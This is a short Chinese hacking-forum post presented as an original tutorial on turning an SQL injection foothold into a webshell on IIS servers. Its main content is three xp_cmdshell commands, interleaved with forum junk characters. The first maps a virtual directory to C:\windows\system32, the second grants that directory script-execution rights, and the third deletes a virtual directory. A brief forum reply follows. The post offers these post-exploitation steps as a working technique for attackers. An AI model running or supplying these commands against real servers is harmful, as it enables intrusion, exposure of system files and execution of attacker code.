返回列表 发帖

[原创教程] 如何SQL注入建立虚拟目录

很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:
1 x& V, f) T; B4 {' O# d. o+ D) S$ s6 u( j
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
, D3 l/ V1 q: ]2 \8 I建立虚拟目录win,指向c:\windows\system32
2 L# |( g8 f, E) u( s7 g$ ~- r/ Oexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
6 R% S' n1 M; q& e! B让win句有解析asp脚本权限; U+ ?: L! y7 S$ G. Q- r

4 f% u+ b7 i5 e) Lexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
2 s/ a& k, F1 X! K6 D, U& ^删除虚拟目录。$ {- f# W0 ?* g
找不到web绝对路径的一种解决办法,
+ l- d; [5 C; T! E8 h. Y4 o) n5 q4 T/ j/ l, ~
- A, h! i! b/ d4 F# h403错误,表示虚拟目录建好了。。
1

评分人数

呀  LZ好久不见你上了啊

TOP

返回列表